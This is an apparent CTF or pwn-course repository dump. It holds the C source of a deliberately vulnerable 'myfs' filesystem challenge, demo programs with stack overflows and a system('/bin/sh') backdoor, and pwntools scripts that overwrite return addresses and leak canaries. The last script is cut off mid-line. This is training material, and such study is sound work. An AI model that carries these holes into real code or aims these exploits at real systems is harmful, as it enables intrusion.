_get_mf_by_fname(mu->curr_dir, fn); } int create_mf(MyUser *mu, char *type, char *fn) { MyFile *mf = NULL; if (mu->curr_dir->uid != mu->uid && !mf_is_writable(mu->curr_dir)) return -1; if (!strcmp(type, "dir")) mf = _new_dir(mu->uid, fn); else if (!strcmp(type, "normfile")) mf = _new_normfile(mu->uid, fn); else return -1; list_add(&mu->curr_dir->dir_hd, &mf->next_file); mu->curr_dir->size++; return 0; } void show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name) { const char *prot = NULL; const char *uname = NULL; const char *type = NULL; if (mf_is_slink(mf)) type = "s"; else if (mf_is_normfile(mf)) type = "-"; else if (mf_is_dir(mf)) type = "d"; else return; if (mf_is_readable(mf) && mf_is_writable(mf)) prot = "rw"; else if (mf_is_readable(mf)) prot = "r-"; else if (mf_is_writable(mf)) prot = "-w"; else prot = "--"; uname = get_uname_by_uid(mf->uid); if (uname == NULL) return; if (all_name) { printf("%srw----%s- %-32s%8u %s\n", type, prot, uname, mf->size, mf->fn); } else { char buf[0x20] = {0}; memset(buf, '.', 0x1f); if (strlen(mf->fn) >= 0x1f) memcpy(buf, mf->fn, 0x1c); else strcpy(buf, mf->fn); printf("%srw----%s- %-32s%8u %-32s\n", type, prot, uname, mf->size, buf); } } int delete_mf(GC *gc, MyUser *mu, MyFile *mf) { /** * if there are some files in the directory, * we cannot delete the directory */ if (mf_is_dir(mf) && mf->size > 0) return -1; /** * even though file is removed from current directory, * it is maybe softlinked by other file */ list_delete(&mu->curr_dir->dir_hd, &mf->next_file); mu->curr_dir->size--; mf->fid = -1; mf->refcnt--; // we use gc as we can if (gc) return gc->gc_list_add(gc, &mf->next_file); return _release_mf(mf); } int enter_dir(MyUser *mu, MyFile *mf) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf) || !mf_is_dir(mf)) return -1; if (mf->uid != mu->uid && !mf_is_readable(mf)) return -1; if (mf == mu->dir_stack[mu->dir_deep - 2]) { // cd .. mu->dir_stack[mu->dir_deep - 1] = NULL; mu->dir_deep--; } else { if (mu->dir_deep == MU_DIR_MAX_DEEP) return -1; mu->dir_deep++; mu->dir_stack[mu->dir_deep - 1] = mf; } mu->curr_dir = mf; return 0; } int goto_rootfs(MyUser *mu) { for (; mu->dir_deep != 1; mu->dir_deep--) mu->dir_stack[mu->dir_deep - 1] = NULL; mu->curr_dir = mu->dir_stack[0]; return 0; } int enc_mf(MyUser *mu, MyFile *mf) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) || mf_is_enc(mf) || mf->data.ino->content == NULL) return -1; if (mf->uid != mu->uid && !mf_is_readable(mf)) return -1; if (my_encrypt(mf->data.ino->content, &mf->size) == -1) return -1; mf->metadata |= MF_META_ENCED; return 0; } int dec_mf(MyUser *mu, MyFile *mf) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) || !mf_is_enc(mf) || mf->data.ino->content == NULL) return -1; if (mf->uid != mu->uid && !mf_is_readable(mf)) return -1; if (my_decrypt(mf->data.ino->content, &mf->size) == -1) return -1; mf->metadata &= ~MF_META_ENCED; return 0; } int read_mf(MyUser *mu, MyFile *mf) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf)) return -1; if (mf->uid != mu->uid && !mf_is_readable(mf)) return -1; char buf[MF_SIZE_MAX]; int nr; if (mf_is_enc(mf)) return read(STDIN_FILENO, mf->data.ino->content, mf->size); nr = read(STDIN_FILENO, buf, MF_SIZE_MAX); if (nr == -1) return -1; uint16_t tmp = mf->size % 0x10; int16_t chk_min = tmp >= 0x9 ? (mf->size - tmp + 0x9) : (mf->size - tmp - 0x7); int16_t chk_max = chk_min + 0xf; if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr) mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10); mf->size = nr; memcpy(mf->data.ino->content, buf, mf->size); return nr; } ssize_t write_mf(MyUser *ms, MyFile *mf) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf)) return -1; if (mf_is_enc(mf)) return hexdump(mf->data.ino->content, AES_BLOCK_SIZE); if (mf->uid != ms->uid && !mf_is_writable(mf)) return -1; return write(STDOUT_FILENO, mf->data.ino->content, mf->size); } int set_mf_prot(MyUser *ms, MyFile *mf, char *prot) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf)) return -1; if (mf->uid != ms->uid && !mf_is_writable(mf)) return -1; if (!strcmp(prot, "read")) mf->metadata |= MF_META_PROT_READ; else if (!strcmp(prot, "write")) mf->metadata |= MF_META_PROT_WRITE; else if (!strcmp(prot, "read,write")) mf->metadata |= (MF_META_PROT_WRITE | MF_META_PROT_READ); return 0; } int unset_mf_prot(MyUser *ms, MyFile *mf, char *prot) { while (mf && mf_is_slink(mf)) mf = mf->data.link; if (!mf || mf_is_deleted(mf)) return -1; if (mf->uid != ms->uid && !mf_is_writable(mf)) return -1; if (!strcmp(prot, "read")) mf->metadata &= ~MF_META_PROT_READ; else if (!strcmp(prot, "write")) mf->metadata &= ~MF_META_PROT_WRITE; else if (!strcmp(prot, "read,write")) mf->metadata &= ~(MF_META_PROT_WRITE | MF_META_PROT_READ); return 0; } void list_dir(MyUser *mu) { MyFile *curr_mf = NULL; list_head *curr = mu->curr_dir->dir_hd.next; printf("total %u\n", mu->curr_dir->size); while (curr) { curr_mf = container_of(curr, MyFile, next_file); show_fileinfo(mu, curr_mf, 0); curr = curr->next; } } void softlink_setsrc(MyUser *mu, MyFile *mf) { mu->softlink = mf; } int softlink_setdst(MyUser *mu, char *fn) { if (!mu->softlink) return -1; // we hope a file not to link file of higher layer if (!is_desc(mu->curr_dir, mu->softlink)) return -1; MyFile *mf = _new_slink(mu->uid, mu->softlink, fn); list_add(&mu->curr_dir->dir_hd, &mf->next_file); mu->curr_dir->size++; mu->softlink = NULL; return 0; } void hardlink_setsrc(MyUser *mu, MyFile *mf) { mu->hardlink = mf; } int hardlink_setdst(MyUser *mu, char *fn) { if (!mu->hardlink) return -1; // we hope a file not to link file of higher layer if (!is_desc(mu->curr_dir, mu->hardlink)) return -1; // sorry we don't support other types currently if (!mf_is_normfile(mu->hardlink)) return -1; MyFile *mf = _new_hlink(mu->uid, mu->hardlink, fn); list_add(&mu->curr_dir->dir_hd, &mf->next_file); mu->curr_dir->size++; mu->hardlink = NULL; return 0; } int mf_gc_list_add(GC *gc, list_head *hd) { list_add(&gc->next_g, hd); if (++gc->delcnt % 0x10) return 0; // if there are 16 deleted files, sweep them MyFile *curr_mf = NULL; list_head *curr = gc->next_g.next, *next = NULL; while (curr) { next = curr->next; curr_mf = container_of(curr, MyFile, next_file); if (_release_mf(curr_mf) == -1) return -1; curr = next; } return 0; } int _release_mf(MyFile *mf) { /** * if there is a softlink linked to file being deleted at least, * we just do nothing, waiting for softlink checking to release it */ MyFile *root = container_of(rootfs.next, MyFile, next_file); if (mf->refcnt) return 0; if (mf_is_hlink(mf)) if (--mf->data.ino->refcnt != 0) goto ret; if (mf_is_normfile(mf)) { free(mf->data.ino->content); free(mf->data.ino); } else if (mf_is_dir(mf)) { free(mf->data.ino); } else if (mf_is_slink(mf)) { // try to release softlink target _release_mf(mf->data.link); } else { return -1; } ret: free(mf->fn); free(mf); return 0; } int is_desc(MyFile *curr_mf, MyFile *target) { list_head *curr = curr_mf->dir_hd.next; while (curr) { curr_mf = container_of(curr, MyFile, next_file); if (target == curr_mf) return 1; if (mf_is_dir(curr_mf) && is_desc(curr_mf, target)) return 1; curr = curr->next; } return 0; } int is_ref_by_other(MyFile *dir, MyFile *target) { MyFile *curr_mf = NULL; list_head *curr = dir->dir_hd.next; while (curr) { curr_mf = container_of(curr, MyFile, next_file); if (mf_is_slink(curr_mf) && target == curr_mf->data.link) { return 1; } else if (mf_is_dir(curr_mf) && is_ref_by_other(curr_mf, target)) { return 1; } curr = curr->next; } return 0; } int is_existed(MyFile **mf, MyFile *curr_dir, char *fn) { if ((*mf = _get_mf_by_fname(curr_dir, fn)) != NULL) return 1; return 0; } ================================================ FILE: 2021/quals/myfs/share/fs.h ================================================ #ifndef _FS_H_ #define _FS_H_ #include "list.h" #include "gc.h" #include #include #define MF_SIZE_INIT 0x100 #define MF_SIZE_MAX 0x1000 #define MF_META_PROT_READ 0b00000001 #define MF_META_PROT_WRITE 0b00000010 #define MF_META_ENCED 0b00000100 #define MF_META_TYPE_IS_DIR 0b00001000 #define MF_META_TYPE_IS_SLINK 0b00010000 #define MF_META_TYPE_IS_HLINK 0b00100000 static int8_t mf_cnt = 0; typedef struct iNode { char *content; uint8_t refcnt; } iNode; typedef struct _MyFile { int8_t fid; uint8_t uid; uint8_t refcnt; uint8_t metadata; uint16_t size; char *fn; union { iNode *ino; struct _MyFile *link; } data; list_head dir_hd; list_head next_file; } MyFile; static inline int mf_is_readable(MyFile *mf) { return (mf->metadata & MF_META_PROT_READ) != 0; } static inline int mf_is_writable(MyFile *mf) { return (mf->metadata & MF_META_PROT_WRITE) != 0; } static inline int mf_is_deleted(MyFile *mf) { return mf->fid == -1; } static inline int mf_is_enc(MyFile *mf) { return (mf->metadata & MF_META_ENCED) != 0; } static inline int mf_is_dir(MyFile *mf) { return (mf->metadata & MF_META_TYPE_IS_DIR) != 0; } static inline int mf_is_slink(MyFile *mf) { return (mf->metadata & MF_META_TYPE_IS_SLINK) != 0; } static inline int mf_is_hlink(MyFile *mf) { return (mf->metadata & MF_META_TYPE_IS_HLINK) != 0; } static inline int mf_is_normfile(MyFile *mf) { return ((mf->metadata & MF_META_TYPE_IS_SLINK) | (mf->metadata & MF_META_TYPE_IS_HLINK) | (mf->metadata & MF_META_TYPE_IS_DIR)) == 0; } MyFile *__new_mf(); MyFile *_new_normfile(uint8_t uid, char *fn); MyFile *_new_dir(uint8_t uid, char *fn); MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn); MyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn); MyFile *_get_mf_by_fname(MyFile *hd, char *fn); int _release_mf(); int is_desc(MyFile *curr_mf, MyFile *target); int is_existed(MyFile **mf, MyFile *curr_dir, char *fn); int is_ref_by_other(MyFile *_root, MyFile *target); int mf_gc_list_add(GC *gc, list_head *hd); #include "user.h" MyFile *get_mf_by_fname(MyUser *mu, char *fn); /** * create_mf(): create file * > create dir * > create normfile */ int create_mf(MyUser *mu, char *type, char *fn); /** * delete_mf(): delete file * > rm */ int delete_mf(GC *gc, MyUser *mu, MyFile *mf); /** * enter_dir(): enter a directory * > cd */ int enter_dir(MyUser *mu, MyFile *mf); int goto_rootfs(MyUser *mu); /** * read_mf(): read data from stdin and write to file * > read */ int read_mf(MyUser *mu, MyFile *mf); /** * write_mf(): write file content to stdout * > write */ ssize_t write_mf(MyUser *mu, MyFile *mf); /** * enc_mf(): encrypt file * > enc */ int enc_mf(MyUser *mu, MyFile *mf); /** * dec_mf(): decrypt file * > dec */ int dec_mf(MyUser *mu, MyFile *mf); /** * set_mf_prot(): set the prot of file * > set */ int set_mf_prot(MyUser *ms, MyFile *mf, char *prot); /** * unset_mf_prot(): unset the prot of file * > unset */ int unset_mf_prot(MyUser *ms, MyFile *mf, char *prot); /** * show_fileinfo(): show the information of file * > info */ void show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name); /** * list_file(): list files in the current directory * > ls */ void list_dir(MyUser *mu); /** * softlink_setsrc(): set the source file of softlink * > slss */ void softlink_setsrc(MyUser *mu, MyFile *mf); /** * softlink_setdst(): set the destination file of softlink * > slsd */ int softlink_setdst(MyUser *mu, char *fn); /** * hardlink_setsrc(): set the source file of hardlink * > hlss */ void hardlink_setsrc(MyUser *mu, MyFile *mf); /** * hardlink_setdst(): set the destination file of hardlink * > hlsd */ int hardlink_setdst(MyUser *mu, char *fn); #endif ================================================ FILE: 2021/quals/myfs/share/gc.c ================================================ #include "gc.h" #include GC *new_gc() { GC *gc = (GC *) malloc(sizeof(GC)); gc->delcnt = 0; gc->gc_list_add = NULL; gc->next_g.next = NULL; return gc; } ================================================ FILE: 2021/quals/myfs/share/gc.h ================================================ #ifndef _GC_H_ #define _GC_H_ #include "list.h" #include typedef struct _GC { uint32_t delcnt; int (*gc_list_add)(struct _GC*, list_head*); list_head next_g; } GC; GC *new_gc(); #endif ================================================ FILE: 2021/quals/myfs/share/list.h ================================================ #ifndef _LIST_H_ #define _LIST_H_ #include #define offsetof(type, member) ((size_t) &((type*)0)->member) #define container_of(ptr, type, member) ({ \ const typeof(((type *)0)->member) *__mptr = (ptr); \ (type *)((char *)__mptr - offsetof(type, member)); }) typedef struct list_head { struct list_head *next; } list_head; static inline void list_add(list_head *hd, list_head *node) { node->next = hd->next; hd->next = node; } static inline void list_delete(list_head *hd, list_head *node) { while (hd->next && hd->next != node) hd = hd->next; hd->next = node->next; } #endif ================================================ FILE: 2021/quals/myfs/share/main.c ================================================ #include "fs.h" #include "user.h" #include "gc.h" #include "list.h" #include #include #include #include #include GC *gc; extern list_head rootfs; #define ENDL "\n" static void banner() { printf( " _| _| _|_|_|_| _|_|_| " ENDL " _|_| _|_| _| _| _| _| " ENDL " _| _| _| _| _| _|_|_| _|_| " ENDL " _| _| _| _| _| _| " ENDL " _| _| _|_|_| _| _|_|_| " ENDL " _| " ENDL " _|_| " ENDL " beta ver." ENDL ); } static void usage() { printf( "[add new user]" ENDL " useradd " ENDL "[delete new user]" ENDL " userdel " ENDL "[login]" ENDL " login " ENDL "[create]" ENDL " create dir " ENDL " create normfile " ENDL "[delete]" ENDL " rm " ENDL "[enter dir]" ENDL " cd " ENDL "[read]" ENDL " read " ENDL "[write]" ENDL " write " ENDL "[encrypt]" ENDL " enc " ENDL "[decrypt]" ENDL " dec " ENDL "[set permission]" ENDL " set " ENDL "[unset permission]" ENDL " unset " ENDL "[list files]" ENDL " ls" ENDL "[show info of file]" ENDL " info " ENDL "[set softlink source]" ENDL " slss " ENDL "[set softlink destination]" ENDL " slsd " ENDL "[set hardlink source]" ENDL " hlss " ENDL "[set hardlink destination]" ENDL " hlsd " ENDL ); } void pexit(const char *msg) { perror(msg); exit(1); } int mock() { MyFile *tmp_mf = NULL, *tmp_dir = NULL; MyFile *rootfs_mf = container_of(rootfs.next, MyFile, next_file); MyUser *root = new_mu("root", "root", rootfs_mf); int pipefd[2]; int old_stdin, old_stdout; old_stdin = dup(STDIN_FILENO); old_stdout = dup(STDOUT_FILENO); pipe(pipefd); dup2(pipefd[0], STDIN_FILENO); dup2(pipefd[1], STDOUT_FILENO); close(pipefd[0]); close(pipefd[1]); // set rootfs as readable and writable set_mf_prot(root, rootfs_mf, "read,write"); // Test 1. create directory and normal file if (create_mf(root, "dir", "test_dir_L1") == -1) return -1; if (create_mf(root, "normfile", "test_file_L1") == -1) return -1; // Test 2. update file and directory permission tmp_mf = get_mf_by_fname(root, "test_file_L1"); if (set_mf_prot(root, tmp_mf, "read") == -1) return -1; tmp_dir = get_mf_by_fname(root, "test_dir_L1"); if (set_mf_prot(root, tmp_dir, "read,write") == -1) return -1; // Test 3. change directory and create some files if (enter_dir(root, tmp_dir) == -1) return -1; if (create_mf(root, "dir", "test_dir_L2") == -1) return -1; if (create_mf(root, "normfile", "test_file_L2") == -1) return -1; if (create_mf(root, "normfile", "test_file2_L2") == -1) return -1; // Test 4. read and write file char buf[0x20] = {0}; char buf2[0x20] = {0}; int flag1_fd = open("/home/myfs/flag1.txt", O_RDONLY); int flag_len; if (flag1_fd == -1) return -1; read(flag1_fd, buf, 0x10); close(flag1_fd); if ((flag_len = strlen(buf)) >= 0x10) return -1; tmp_mf = get_mf_by_fname(root, "test_file2_L2"); write(STDOUT_FILENO, buf, flag_len); if (read_mf(root, tmp_mf) == -1) return -1; if (write_mf(root, tmp_mf) == -1) return -1; read(STDIN_FILENO, buf2, flag_len); if (strcmp(buf, buf2)) return -1; unlink("/home/myfs/flag1.txt"); // Test 5. encrypt and decrypt file if (enc_mf(root, tmp_mf) == -1) return -1; if (dec_mf(root, tmp_mf) == -1) return -1; if (write_mf(root, tmp_mf) == -1) return -1; read(STDIN_FILENO, buf2, flag_len); if (strcmp(buf, buf2)) return -1; // Test 6. test softlink softlink_setsrc(root, tmp_mf); tmp_dir = get_mf_by_fname(root, "test_dir_L2"); if (enter_dir(root, tmp_dir) == -1) return -1; if (softlink_setdst(root, "sl_will_fail") != -1) return -1; goto_rootfs(root); if (softlink_setdst(root, "sl_will_ok") == -1) return -1; tmp_mf = get_mf_by_fname(root, "sl_will_ok"); if (delete_mf(gc, root, tmp_mf) == -1) return -1; // Test 7. test hardlink tmp_dir = get_mf_by_fname(root, "test_dir_L1"); if (enter_dir(root, tmp_dir) == -1) return -1; tmp_mf = get_mf_by_fname(root, "test_file2_L2"); hardlink_setsrc(root, tmp_mf); tmp_dir = get_mf_by_fname(root, "test_dir_L2"); if (enter_dir(root, tmp_dir) == -1) return -1; if (hardlink_setdst(root, "hl_will_fail") != -1) return -1; goto_rootfs(root); if (hardlink_setdst(root, "hl_will_ok") == -1) return -1; tmp_mf = get_mf_by_fname(root, "hl_will_ok"); if (delete_mf(gc, root, tmp_mf) == -1) return -1; // Test 8. create and delete user MyUser *_new_mu = new_mu("test", "test", rootfs_mf); if (delete_mu("root", "root", root) != -1) return -1; if (delete_mu("root", "root", _new_mu) == -1) return -1; memset(buf, 0, 0x10); int flag2_fd = open("/home/myfs/flag2.txt", O_RDONLY); if (flag2_fd == -1) return -1; read(flag2_fd, buf, 0x10); close(flag2_fd); if ((flag_len = strlen(buf)) >= 0x10) return -1; tmp_mf = get_mf_by_fname(root, "test_file_L1"); write(STDOUT_FILENO, buf, flag_len); if (read_mf(root, tmp_mf) == -1) return -1; if (enc_mf(root, tmp_mf) == -1) return -1; unlink("/home/myfs/flag2.txt"); // restore environment dup2(old_stdin, STDIN_FILENO); dup2(old_stdout, STDOUT_FILENO); close(old_stdin); close(old_stdout); return 0; } void init_proc() { // init garbage collector gc = new_gc(); gc->gc_list_add = mf_gc_list_add; // init filesystem MyFile *_rootfs_mf = _new_dir(0, ""); rootfs.next = &_rootfs_mf->next_file; } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); init_proc(); banner(); if (mock()) pexit("[-] server error"); #define DELIM " " #define CMD_LEN 0x80 char cmd[CMD_LEN]; char *argv0 = NULL, *argv1 = NULL, *argv2 = NULL; MyFile *_rootfs_mf = container_of(rootfs.next, MyFile, next_file); MyFile *mf = NULL; MyUser *mu = new_mu("user1", "1234", _rootfs_mf); if (mu == NULL) pexit("[-] create user error"); while (1) { for (int i = 0; i < mu->dir_deep; i++) printf("%s/", mu->dir_stack[i]->fn); printf("> "); if (fgets(cmd, CMD_LEN, stdin) == NULL) pexit("[-] read command error"); if (cmd[strlen(cmd) - 1] == '\n') cmd[strlen(cmd) - 1] = '\0'; mf = NULL; argv0 = strtok(cmd, DELIM); argv1 = (argv0 != NULL) ? strtok(NULL, DELIM) : NULL; argv2 = (argv1 != NULL) ? strtok(NULL, DELIM) : NULL; if (!argv0) continue; if (!strcmp(argv0, "ls")) { list_dir(mu); } else if (!strcmp(argv0, "create")) { if (!argv1 || !argv2 || is_existed(&mf, mu->curr_dir, argv2) || create_mf(mu, argv1, argv2) == -1) puts("[-] create file error"); } else if (argv1 && argv2 && !strcmp(argv0, "useradd")) { if (new_mu(argv1, argv2, _rootfs_mf) == NULL) puts("[-] change user error"); } else if (argv1 && argv2 && !strcmp(argv0, "userdel")) { if (delete_mu(argv1, argv2, mu) == -1) puts("[-] change user error"); } else if (argv1 && argv2 && !strcmp(argv0, "login")) { MyUser *tmp_mu = login_mu(argv1, argv2); if (tmp_mu == NULL) puts("[-] change user error"); else mu = tmp_mu; } else { if (argv1 && !strcmp(argv1, "..")) { if (mu->dir_deep == 1) { puts("[-] at root directory"); continue; } mf = mu->dir_stack[mu->dir_deep - 2]; } if (!mf && argv1) is_existed(&mf, mu->curr_dir, argv1); if (mf && !strcmp(argv0, "rm")) { if (delete_mf(gc, mu, mf) == -1) puts("[-] delete file error"); } else if ((mf || (argv1 && !strcmp(argv1, ".."))) && !strcmp(argv0, "cd")) { if (enter_dir(mu, mf) == -1) puts("[-] enter directory error"); } else if (mf && !strcmp(argv0, "read")) { if (read_mf(mu, mf) == -1) puts("[-] read file error"); } else if (mf && !strcmp(argv0, "write")) { if (write_mf(mu, mf) == -1) puts("[-] write file error"); } else if (mf && !strcmp(argv0, "info")) { show_fileinfo(mu, mf, 1); } else if (mf && !strcmp(argv0, "enc")) { if (enc_mf(mu, mf) == -1) puts("[-] encrypt file error"); } else if (mf && !strcmp(argv0, "dec")) { if (dec_mf(mu, mf) == -1) puts("[-] decrypt file error"); } else if (mf && !strcmp(argv0, "set")) { if (!argv2 || set_mf_prot(mu, mf, argv2) == -1) puts("[-] set permission error"); } else if (mf && !strcmp(argv0, "unset")) { if (!argv2 || unset_mf_prot(mu, mf, argv2) == -1) puts("[-] unset permission error"); } else if (mf && !strcmp(argv0, "slss")) { softlink_setsrc(mu, mf); } else if (!strcmp(argv0, "slsd")) { if (mf || !argv1 || softlink_setdst(mu, argv1) == -1) puts("[-] softlink error"); } else if (mf && !strcmp(argv0, "hlss")) { hardlink_setsrc(mu, mf); } else if (!strcmp(argv0, "hlsd")) { if (mf || !argv1 || hardlink_setdst(mu, argv1) == -1) puts("[-] hardlink error"); } else if (!strcmp(argv0, "help") || !strcmp(argv0, "?")) { usage(); } else { if (argv1 && !mf) puts("[-] file not found"); else puts("[-] unknown command"); } } } } ================================================ FILE: 2021/quals/myfs/share/mycrypto.c ================================================ #include "mycrypto.h" #include #include #include #include #include #include unsigned char key[AES_KEY_LENGTH + 1] = {0}; unsigned char mycrypto_is_init = 0; void mycrypto_try_init() { if (mycrypto_is_init) return; do { RAND_bytes(key, AES_KEY_LENGTH); } while (strlen(key) != 16); mycrypto_is_init = 1; } int hexdump(unsigned char *data, uint16_t len) { for (int i = 0; i < len; i++) printf("%02x", data[i]); return 0; } int my_encrypt(unsigned char *plaintext, uint16_t *len) { mycrypto_try_init(); AES_KEY encryption_key; unsigned char iv[AES_BLOCK_SIZE]; unsigned char backup_iv[AES_BLOCK_SIZE]; RAND_bytes(iv, AES_BLOCK_SIZE); memcpy(backup_iv, iv, AES_BLOCK_SIZE); if (*len % 0x10) { memset(plaintext + *len, 0x10 - (*len % 0x10), 0x10 - (*len % 0x10)); *len += (0x10 - (*len % 0x10)) + AES_BLOCK_SIZE; } else { *len += AES_BLOCK_SIZE; } unsigned char *output = (unsigned char *) malloc(*len); AES_set_encrypt_key(key, AES_KEY_LENGTH * 8, &(encryption_key)); AES_cbc_encrypt(plaintext, output, *len - AES_BLOCK_SIZE, &encryption_key, iv, AES_ENCRYPT); memcpy(plaintext, backup_iv, AES_BLOCK_SIZE); memcpy(plaintext + AES_BLOCK_SIZE, output, *len - AES_BLOCK_SIZE); free(output); return 0; } int my_decrypt(unsigned char *cipher, uint16_t *len) { mycrypto_try_init(); if (*len % AES_BLOCK_SIZE) return -1; AES_KEY decryption_key; unsigned char iv[AES_BLOCK_SIZE]; memcpy(iv, cipher, AES_BLOCK_SIZE); unsigned char *output = (unsigned char *) malloc(*len); AES_set_decrypt_key(key, AES_KEY_LENGTH * 8, &(decryption_key)); AES_cbc_encrypt(cipher + AES_BLOCK_SIZE, output, *len - AES_BLOCK_SIZE, &decryption_key, iv, AES_DECRYPT); int cnt = 0; int i = *len - AES_BLOCK_SIZE - 1; unsigned char last = output[i]; if (last >= 0x10) return -1; for (; output[i] == last; i--) cnt++; if (cnt != last) { free(output); return -1; } memset(cipher, 0, *len); *len -= last + AES_BLOCK_SIZE; memcpy(cipher, output, *len); free(output); return 0; } ================================================ FILE: 2021/quals/myfs/share/mycrypto.h ================================================ #ifndef _CRYPTO_H_ #define _CRYPTO_H_ #define AES_KEY_LENGTH 16 #include #include void mycrypto_try_init(); int hexdump(unsigned char *data, uint16_t len); int my_encrypt(unsigned char *plaintext, uint16_t *len); int my_decrypt(unsigned char *cipher, uint16_t *len); #endif ================================================ FILE: 2021/quals/myfs/share/run.sh ================================================ #!/bin/bash exec 2>/dev/null timeout 60 /home/myfs/myfs ================================================ FILE: 2021/quals/myfs/share/user.c ================================================ #include "user.h" #include "fs.h" #include #include const uint32_t mu_max_user_cnt = 0x100; static MyUser *user_list[0x100]; MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf) { if (mu_cnt == mu_max_user_cnt) return NULL; if (strlen(username) >= MU_MAX_UNAME_LEN) return NULL; if (_get_mu_by_uname(username) != NULL) return NULL; MyUser *mu = (MyUser *) malloc(sizeof(MyUser)); mu->uid = mu_cnt++; mu->dir_deep = 1; mu->username = strdup(username); mu->password = strdup(password); mu->curr_dir = rootfs_mf; mu->hardlink = NULL; mu->softlink = NULL; mu->dir_stack[0] = rootfs_mf; for (int i = 1; i < MU_DIR_MAX_DEEP; i++) mu->dir_stack[i] = NULL; user_list[mu_cnt - 1] = mu; return mu; } MyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf) { return __new_mu(username, password, rootfs_mf); } int delete_mu(const char *username, const char *password, MyUser *curr_mu) { MyUser *mu = _get_mu_by_uname(username); if (mu == NULL) return -1; if (curr_mu == mu) return -1; if (mu_is_deleted(mu)) return -1; if (strcmp(password, mu->password)) return -1; mu->password = NULL; return 0; } const char *get_uname_by_uid(uint8_t uid) { if (uid >= mu_cnt) return NULL; return user_list[uid]->username; } MyUser *login_mu(const char *username, const char *password) { for (int i = 0; i < mu_cnt; i++) if (!mu_is_deleted(user_list[i]) && !strcmp(username, user_list[i]->username) && !strcmp(password, user_list[i]->password)) return user_list[i]; return NULL; } MyUser *_get_mu_by_uname(const char *username) { for (int i = 0; i < mu_cnt; i++) if (!strcmp(username, user_list[i]->username)) return user_list[i]; return NULL; } ================================================ FILE: 2021/quals/myfs/share/user.h ================================================ #ifndef _USER_H_ #define _USER_H_ #include #define MU_DIR_MAX_DEEP 8 #define MU_MAX_USER_NUM 0x100 #define MU_MAX_UNAME_LEN 0x20 struct _MyUser; typedef struct _MyUser MyUser; static uint8_t mu_cnt = 0; #include "fs.h" struct _MyUser { uint8_t uid; uint8_t dir_deep; char *username; char *password; MyFile *dir_stack[8]; MyFile *curr_dir; MyFile *softlink; MyFile *hardlink; }; static inline int mu_is_deleted(MyUser *mu) { return mu->password == NULL; } const char *get_uname_by_uid(uint8_t uid); MyUser *_get_mu_by_uname(const char *username); /** * new_mu(): create an new user * > useradd */ MyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf); MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf); /** * login_mu(): login * > login */ MyUser *login_mu(const char *username, const char *password); /** * delete_mu(): delete * > userdel */ int delete_mu(const char *username, const char *password, MyUser *curr_mu); #endif ================================================ FILE: 2021/quals/myfs/xinetd ================================================ service myfs { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/admin/quals/myfs/run.sh user = admin port = 30213 flags = REUSE wait = no } ================================================ FILE: 2021/week1/demo/Makefile ================================================ all: demo_shellcode demo_ROP demo_BOF1 demo_BOF2_leak_canary demo_canary demo_GOT demo_one_gadget_with_ROP demo_stack_pivoting demo_fmt demo_shellcode: gcc -g -z execstack -o $@ $@.c demo_BOF1: gcc -g -no-pie -fno-stack-protector -o $@ $@.c demo_BOF2_leak_canary: gcc -g -no-pie -o $@ $@.c demo_canary: gcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c demo_GOT: gcc -z lazy -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c demo_ROP: gcc -g -no-pie -static -fno-stack-protector -o $@ $@.c demo_one_gadget_with_ROP: gcc -g -fno-stack-protector -o $@ $@.c demo_stack_pivoting: gcc -g -no-pie -static -fno-stack-protector -o $@ $@.c demo_fmt: gcc -g -z lazy -no-pie -o $@ $@.c ================================================ FILE: 2021/week1/demo/demo_BOF1.c ================================================ #include #include #include void backdoor() { system("/bin/sh"); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char name[0x10]; printf("What's your name: "); read(0, name, 0x100); return 0; } ================================================ FILE: 2021/week1/demo/demo_BOF1.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_BOF1') backdoor_addr = 0x401196 no_push_rbp_backdoor_addr = 0x40119b gdb.attach(r) # r.sendafter("What's your name: ", b'A'*0x18 + p64(backdoor_addr)) r.sendafter("What's your name: ", b'A'*0x18 + p64(no_push_rbp_backdoor_addr)) r.interactive() ================================================ FILE: 2021/week1/demo/demo_BOF2_leak_canary.c ================================================ #include #include #include void backdoor() { system("/bin/sh"); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char name[0x10]; char phone[0x10]; printf("What's your name: "); read(0, name, 0x100); printf("Hello, %s !", name); printf("What's your phone number: "); read(0, phone, 0x100); return 0; } ================================================ FILE: 2021/week1/demo/demo_BOF2_leak_canary.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_BOF2_leak_canary') backdoor_addr = 0x4011b6 no_push_rbp_backdoor_addr = 0x4011bb gdb.attach(r) r.sendafter("What's your name: ", b'A'*0x29) r.recvuntil('A'*0x29) canary = u64(b'\x00' + r.recv(7)) print("canary: ", hex(canary)) r.sendafter("What's your phone number: ", 